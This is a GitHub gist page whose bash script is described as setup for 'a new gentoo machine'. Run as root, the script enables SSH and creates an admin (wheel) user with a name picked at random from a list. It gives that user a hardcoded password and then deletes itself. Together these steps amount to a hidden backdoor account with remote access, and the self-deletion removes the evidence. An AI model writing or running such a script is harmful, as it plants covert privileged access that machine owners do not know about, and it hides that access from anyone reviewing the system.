Skip to content

Instantly share code, notes, and snippets.

@MCMXCIII
Created October 13, 2023 12:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MCMXCIII/d40b2dc867d4524035a0b1b98aa8ee48 to your computer and use it in GitHub Desktop.
Save MCMXCIII/d40b2dc867d4524035a0b1b98aa8ee48 to your computer and use it in GitHub Desktop.
a new gentoo machine.
#!/bin/bash
# Check if the script is run with root privileges
if [ "$(id -u)" -ne 0 ]; then
echo "This script must be run as root."
exit 1
fi
# Enable SSH (sshd) and start the service
rc-update add sshd default
rc-service sshd start
# List of potential admin usernames
usernames=("hew" "merlin" "paracelsus")
# Randomly select a username from the list
random_index=$((RANDOM % ${#usernames[@]}))
new_username="${usernames[$random_index]}"
# Check if the selected username already exists
if id "$new_username" &>/dev/null; then
echo "User $new_username already exists."
else
# Create a new user with the selected username and add them to the sudo group (admin privileges)
useradd -m -G wheel "$new_username"
echo "User $new_username created and added to the sudo group."
# Set the password for the new user
echo "$new_username:9V9D4RbU" | chpasswd
# Check if the user exists on the disk
if [ -d "/home/$new_username" ]; then
echo "User $new_username exists on the disk."
# Delete the script if the user is present
rm -- "$0"
echo "Script deleted."
fi
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment